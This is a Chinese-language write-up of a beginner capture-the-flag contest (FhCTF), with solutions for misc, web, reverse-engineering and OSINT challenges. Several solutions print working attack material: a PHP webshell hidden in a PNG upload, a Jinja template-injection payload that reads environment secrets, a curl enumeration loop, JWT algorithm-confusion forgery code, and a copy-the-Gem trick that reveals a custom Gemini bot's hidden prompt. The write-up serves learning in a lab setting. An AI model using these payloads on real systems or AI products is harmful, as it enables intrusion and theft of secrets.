11401FhCTFWriteup
前言
這是我的第一次 CTF
雖然他已經快湊齊BadCTF Bingo了
但我還是打得很爛 writeup也寫得很爛
也是獲的了第12名 (一個人爆砍27題
還是值得紀念的

Welcome
題目說已經給過了
開控制台檢查
得到flag FhCTF{S3n1ty_Ch3ck1ng....😝}
Misc
Christmas Tree

查看檔案 典型的霍夫曼樹結構(Huffman tree)
import jsonimport refrom pathlib import Pathfrom typing import Any, Optional
def is_leaf(node: Any) -> bool: """判斷是否為葉節點(可直接輸出字元/符號)。""" if node is None: return False if isinstance(node, str): return True if isinstance(node, (int, float)): return True if isinstance(node, dict): # 常見葉節點欄位:symbol/char/value(或你題目作者想到什麼就塞什麼) for k in ("symbol", "char", "value", "leaf", "data"): if k in node and not isinstance(node[k], (dict, list)): return True return False
def leaf_value(node: Any) -> str: """從葉節點取出要輸出的字元/符號。""" if isinstance(node, str): return node if isinstance(node, (int, float)): return str(node) if isinstance(node, dict): for k in ("symbol", "char", "value", "leaf", "data"): if k in node and not isinstance(node[k], (dict, list)): return str(node[k]) # 真的取不到就暴力印出(通常不會走到這) return str(node)
def get_child(node: Any, bit: str) -> Optional[Any]: """ 取下一個節點。 支援幾種常見 Huffman JSON 結構: 1) {"0": left, "1": right} 2) {"left": left, "right": right} 或 {"l":..., "r":...} 3) {"children": [left, right]} 或 {"children": {"0":..., "1":...}} """ if node is None: return None
# 直接用 bit 當 key 的版本 if isinstance(node, dict) and bit in node: return node[bit]
if isinstance(node, dict): if bit == "0": for k in ("left", "l", "L"): if k in node: return node[k] else: for k in ("right", "r", "R"): if k in node: return node[k]
if "children" in node: ch = node["children"] if isinstance(ch, list) and len(ch) >= 2: return ch[0] if bit == "0" else ch[1] if isinstance(ch, dict) and bit in ch: return ch[bit]
# 有些人喜歡用 list 當節點: [left, right] if isinstance(node, list) and len(node) >= 2: return node[0] if bit == "0" else node[1]
return None
def decode(bits: str, tree: Any) -> str: bits = re.sub(r"[^01]", "", bits) # 去掉換行/空白/奇怪符號 out = [] cur = tree
for i, b in enumerate(bits, 1): nxt = get_child(cur, b) if nxt is None: raise ValueError(f"走到不存在的分支:第 {i} 位元是 {b},目前節點={cur!r}")
cur = nxt if is_leaf(cur): out.append(leaf_value(cur)) cur = tree # 回到根節點繼續
# 如果最後停在非根且非葉,代表 bits 可能被截斷 return "".join(out)
def main(): tree_path = Path("huffman_tree.json") bits_path = Path("encoded_gift.txt")
tree = json.loads(tree_path.read_text(encoding="utf-8")) bits = bits_path.read_text(encoding="utf-8")
msg = decode(bits, tree) print(msg)
# 額外幫你挖 flag(有就印,沒有就算了) m = re.search(r"FhCTF\{[^}]+\}", msg) if m: print("\n[FLAG]", m.group(0))
if __name__ == "__main__": main()得到flag FhCTF{Hoffman_is_a_great_Christmas_tree}
笑話大師

點開連結可看到一客製化的Gemini
原本我以為是普通的prompt injection,結果死活解不開

突然靈光一閃,既然這是個Gemine的客製化AI那在Gem裡面一定有出題者設定的提示詞
建立副本

得到flag FhCTF{thisi_Prompt_Injection}
分享圖庫
非常典型的php Webshell
加上是給新手打的所以直接一套php木馬製作流程
convert -size 1x1 xc:white legit.pngcp legit.png shell.pngecho '<?php system($_GET["cmd"]); ?>' >> shell.png然後裡面的偵測方式為==判斷文件頭==是否為png所以直接副檔名可以改php上傳

訪問/uploads/shell.php?cmd=printenv flag(原始檔有寫flag在哪)
得到flag FhCTF{png_format?Cannot_stop_php!}
Python Compile
很特別真的不會執行
這題我卡了很久
發現不是普通的SSTI(服器端模板注入)

這行被我朋友發現如過修改成裡面擁有的檔案就能顯示其內容
這是對的思路
我一開始也有發現但被ai誤導
原本以為是flag.txt flag這種檔案結果不出來便被ai誤導成其他解題路線(畢竟是雜項
直到修改為/etc/passwd

成功用報錯輸出其內容
所以將其修改為/proc/1/environ
這載入容器時的環境變數存放的檔案
輸出
UV_TOOL_BIN_DIR=/usr/local/binHOSTNAME=54f86cd99223HOME=/rootUVICORN_APP=main:appGPG_KEY=7169605F62C751356D054A26A821E680E5FA6305PYTHON_SHA256=16ede7bb7cdbfa895d11b0642fa0e523f291e6487194d53cf6d3b338c3a17ea2PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binUVICORN_HOST=0.0.0.0PYTHON_VERSION=3.13.11UVICORN_PORT=8000PWD=/appFLAG=FhCTF{N0t_s4f3_t0_ou7put_th3_err0r_m5g}^得到flag FhCTF{N0t_s4f3_t0_ou7put_th3_err0r_m5g}
分享圖庫 Revenge
分享圖庫的進階題
這我真不會解,檔案照樣可以上傳但他被只當成png來解讀
�PNG IHDR%�V�PLTE������ pHYs���+ IDAT�c`�qd�IEND�B`�又是我的朋友
他找到了一個超級搞笑的解法
題目有漏洞(當然也可能是這麼設計的畢竟是雜項:)))
訪問容器的位置就全部輸出了
到現在還沒修應該就是這麼解的(上一個分享圖庫也能這麼解
Web
web不全是我解的
但我管他的我就愛寫(任性
Welcome to Cybersecurity Jungle
基於新手題與題目敘述先查看cookie
cookie 名稱 aXNGbGFnU2hvdzJ1 進行 Base64 解碼:
解碼結果:isFlagShow2u
44G144GJ44O844KL44GZ Base64 解碼後得到日文假名:
解碼結果:ふぉーるす(是日文假名寫法的 false)
將日文假名的 true轉 Base64 後,得到:
44Go44GF44KL44O8
修改cookie後重整畫面即可得到flag
(跟原本的一樣嗎沒關係他只是把flag顏色條成空白的
取得flag FhCTF{Th3_e553nc3_of_pr0gramm1n6_is_ind3p3nden7_of_the_languag3_u53d}
INTERNAL LOGIN
最基礎的SQLInjection
取得flag FhCTF{SQL_1nj_42_Success}
The Visual Blind Spot
大致理解題意為需要輸入正確的RGB色調才會給flag
先看原始碼
兩處flag都是假的
找到關鍵函式
const _secureStr = loadSystemParams();也就是說: 真正被加密顯示在畫面上的文字,來自 loadSystemParams() sys-config 元資料
<div id="sys-config" data-params="249|351|240|291|249|408|288|387|369|192|330|366|324|240|186|375|351|192|375|414"></div>這串數字就是 明文來源(但被簡單編碼) 原始程式碼
let charCode = (n / 3) - 13;buffer += String.fromCharCode(charCode);直接人工還原 將每個數字套用公式 (n / 3) - 13 得到字串
FhCTF{Stn3am_C1ph3p}提一嘴另一解法
window.onload = function() { const _base = parseInt("32", 16); const _kMap = { x: _base << 1, y: _base, z: _base << 2 };這是金鑰生成的方式
hex ==32==也就是50
偏移後得到100,50,200

依序輸入就可以取得flagFhCTF{Stn3am_C1ph3p}
Web Robots
看到題目名稱就知道要去訪問/robots.txt
看到有趣的網址/secret
嗯 自動導向一個什麼都沒有的網址/secret/index.html
直覺 (通靈) 告訴我一定在flag.txt
取得flag FhCTF{r0b075_4r3_n0t_v15ible_in_tx7}
Doors Open
點開寫著The Door is OPEN!!!FIND THE DOOR
查看原始碼
裡面寫提示看robots
訪問doors
出現開門動畫並提示並非正確的門
const door = document.getElementById('door'); const messageEl = document.getElementById('message'); const doorContainer = document.getElementById('doorContainer');
let isOpening = false;
doorContainer.addEventListener('click', async () => { if (isOpening) return; isOpening = true;
// Start animation door.classList.add('open');
// Wait 5 seconds await new Promise(r => setTimeout(r, 5000));
// Fetch API try { const response = await fetch(`/api/doors/1`); const data = await response.json();
if (data.correct) { messageEl.textContent = `正確!\n${data.message}`; messageEl.style.color = 'green'; } else { messageEl.textContent = `錯誤!\n${data.message}`; messageEl.style.color = 'red'; } messageEl.classList.remove('opacity-0'); } catch (e) { console.error(e); messageEl.textContent = "發生錯誤"; messageEl.classList.remove('opacity-0'); } });</script>查看原始碼
網址顯示/doors/1
根據原始碼推論得知要尋找正確的門號
並且我可以直接訪問api/door/XXX以節省載入動畫的時間
其中門號被限制為5000
用腳本訪問0-5000
BASE="https://15e47f56.fhctf.systems/api/doors"seq 0 5000 | xargs -n1 -P50 -I{} sh -c ' r=$(curl -s --max-time 5 "'"$BASE"'"/{} ) echo "{} $r"嗯 都沒有爛題 (誤
我摸了一下水晶球
訪問-1試試
{"correct":true,"message":"這是正確的門!\nFlag: FhCTF{IDOR_get_the_s3cr3t_infom47i0n}"}原來藏在無法訪問的最後一個
取得flag FhCTF{IDOR_get_the_s3cr3t_infom47i0n}
Templating Danger
又是留言板(冷不丁的抖了一下
說實話我真的很不會注入
嘗試了一下payload
{{7*7}}<script>alert('XSS');</script>
應該就是XSS(笑死我沒看原始檔好孩子不要學
實際上是SSIT這題我錯了兩得多小時
{{7*7}}不行是因為裡面有寫偵測{}的程式
所以改成Unicode編碼\u007b
\u007b\u007b cycler.__init__.__globals__.os.environ.get('FLAG') \u007d\u007d取得flag FhCTF{T3mpl371ng_n33d_t0_b3_m0r3_c4r3full🥹}
Documents
提示說http標頭已經告訴我的一切(那是什麼
由於後端使用FastAPI先嘗試存取其預設OpenAPI文件以了解實際路由配置
訪問/openapi.json
看到有趣的路徑
嗯 他耍我(欠扁
重看一次/openapi.json
"/flag.html": { "get": { "summary": "Flag Question Mark Page", "operationId": "flag_question_mark_page_flag_html_get", "parameters": [ { "name": "referer", "in": "header", "required": false, "schema": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol.", "title": "Referer" }, "description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol." } ], "responses": { "200": { "description": "Successful Response", "content": { "application/json": { "schema": {
} } } }發現關鍵
"description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol."合理推測要Referer改為localhost.app:8000/index.html

取得flag FhCTF{URL_encod3d_m337_p47h_d15cl0sure😱😱}
SYSTEM ROOT SHELL
熟悉的問題(在台科社課看過
我還以為要在系統裡找flag
結果似乎被設定成只要普通的判斷式而非真實運行的指令
(看來主辦方很怕
取得flag FhCTF{RCE_Success_v3}
LOG ACCESS
跟上題很像是一種判斷式的路徑穿透題
(我通靈出來的
function access() { const input = document.getElementById('p_in').value; const output = document.getElementById('v_out');
const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join('');
const _c1 = "\x50\x61\x74\x68\x5f"; const _c2 = (21337 >> 4).toString(16); const _c3 = "\x54\x72\x34\x76";
const check1 = input.split('.').length > 3; const check2 = input.toLowerCase().indexOf('flag') !== -1;
if (check1 && check2) { const final = _h + "{" + _c1 + _c3 + "_" + _c2 + "}"; output.innerText = "ACCESS_GRANTED:\n" + final; output.className = "bg-black p-4 border border-green-500 h-32 overflow-auto text-xs text-green-500 font-bold"; } else { output.innerText = "ACCESS_DENIED: Path traversal attempt detected or invalid path."; output.className = "bg-black p-4 border border-red-900 h-32 overflow-auto text-xs text-red-800"; }const check1 = input.split('.').length > 3;const check2 = input.toLowerCase().indexOf('flag') !== -1;第一行是判斷.是否大於3個
第二行是判斷輸入字串是否含有flag
只要條件滿足就會輸出flag(甚是flag…也行:)))
然後flag其實也寫在裡面
const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join('');const _c1 = "\x50\x61\x74\x68\x5f";const _c2 = (21337 >> 4).toString(16);const _c3 = "\x54\x72\x34\x76";這四個值解出來分別為FhCTF Path_ 535 Tr4v
根據這行
const final = _h + "{" + _c1 + _c3 + "_" + _c2 + "}"也可得知flag為FhCTF{Path_Tr4v_535}
KID
一開始並沒有cookie
取的通行證後發現cookie為JWT格式(嘔 這不純潔
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImRlZmF1bHQucGVtIn0.eyJ1c2VyIjoiZ3Vlc3RfdXNlciIsInJvbGUiOiJndWVzdCJ9.S4-YIB8_-sXb1sLJAkoDPr1HHEO7r8E4DPjFkxi3vJyYDlHiJKFEkw3L7X0yBOvxuBJ-PMXhPIgc1I9phkNX9w9cLEMUDZtsdqVh1BMhux-H8g0S9HHaQ3ZFcMb_f9WZpgdM1RQ-i-dlCxxzsHus2E13sJc2ITHASsw4xJz-wtdaN_ME3EF_conBM_P5mF_fM3GT-7zvfiUtcu845FREG6BZY_Z7ji_S6A8R0jN200ziB4s9qkd2TnxAuiCAtANV9MnPJZYFibwZOQspXf3cGcyCeO307yiQNljQfZlxWGRt8f3V1rlXa2UXx2rEnB_85wRQbMmPchvm9p7nN8O_cA有提到可以允許HS256格式
JWT解碼如下:
{ "typ": "JWT", "alg": "RS256", "kid": "default.pem"}{ "user": "guest_user", "role": "guest"}經典的JWT Algorithm Confusion風險
其實我這題我解很久(被線上JWT坑的
import jwt
SECRET = ""headers = { "typ": "JWT", "alg": "HS256", "kid": "/dev/null"}payload = { "user": "admin_user", "role": "admin"}token = jwt.encode(payload, SECRET, algorithm="HS256", headers=headers)print(token)使用者可控制 kid
kid 決定驗簽金鑰來源
fallback 至 HS256
驗簽時使用 /dev/null → 空 key
則只要攻擊者在簽署 JWT 時:
HMAC-SHA256(secret="", message="header.payload")而伺服器驗簽時 也使用同一個空secret則:
signature_attack == signature_server驗簽必然通過
取得flag FhCTF{Th3_k1d_u53d_JWT_t0_tr4v3rs3_p4th5}
Something You Put Into
其實跟上一題一樣是JWT的問題
但其實我不會正規解法
雖然很丟臉但我在電腦前做了1個小時還是解不開
結果題目的檔案有問題
他把flag直接放在裡面了
嘻嘻我有存
(它晚上被緊急?下架了
取得flag FhCTF{🐷B3_c4r3ful_y0ur_SQL_synt4x🐷}
Reverse
OBF
給了一個py加密程式還有txt檔
3e08772c224960093145070318575a0e741e050c7a2d745a1b6f5a0d5834322b應為被加密的密文(好奇怪為甚麼不是Crypto題
反正我Crypto一題都沒解出來
反正我是不懂admin的sha1為甚麼會等於61cfc9d3dadc5504391b872d170bbe73f6ca0d77
說回正題腳本是用狀態機(以字串位址為 key 的函式表)分段填滿 memory[0..63],組出一把 64 bytes 的 _key,再拿 _key 對 flag 做 XOR 加密,最後把結果輸出成 hex
因此,只要依照程式邏輯還原 _key,再用 output.txt 反 XOR,就能得到 flag
解密後得FhCTF{08fu5c471n6_Py7h0n_15_fun}
The Lock
給一個exe執行檔
在ida中逆向
找到有趣的地方
check_password 會先以 substr(6, len-7) 取出 {} 中的字串 inner,並限制其長度為 26。
接著程式宣告兩個常數陣列:key[4] 與 expected[26]。
依規則寫腳本
key = [85, 51, 102, 17]expected = [7,2,20,40,47,74,97,92,32,111,21,54,83,26,113,129,132,127,37,116,140,106,101,126,87,54]inner = ''.join(chr((expected[i] - 2*i) ^ key[i % 4]) for i in range(26))flag = f"FhCTF{{{inner}}}"print(flag)取得flag FhCTF{R3v3rs3_Eng1n33r1ng_1s_Ar7}
OSINT
接下來就是通靈題啦
說實話我覺得很沒參考價值可以跳過不用看
Trace the Landmark
題目給到的是羅馬萬神殿
這題屬於是格式寫起來很麻煩了
取得flagFhCTF{Piazza_della_Rotonda_00186_Roma_RM_Italy}
不得不說每題格式講的有夠不清楚
島 1
這題我看到是直接傻眼的
餐廳的字也被馬掉只能隱約看到新 口餐廳
超鳥誰知道
但開google以圖搜圖還真搜到了
(寫到這的時候還沒吃東西看的我好餓
特色菜應該就是在地美食了
一個一個爆破
The FH Gift
郵件為multipart/mixed附base64值
將base64 解碼得到PK開頭
判定為 ZIP(檔頭 PK\x03\x04)
解壓縮得到 flag.txt
讀出後得到flag FhCTF{M1M3_Typ3s_C4n_B3_D3c3pt1v3}
沒戴安全帽的騎士
通靈題直接問AI
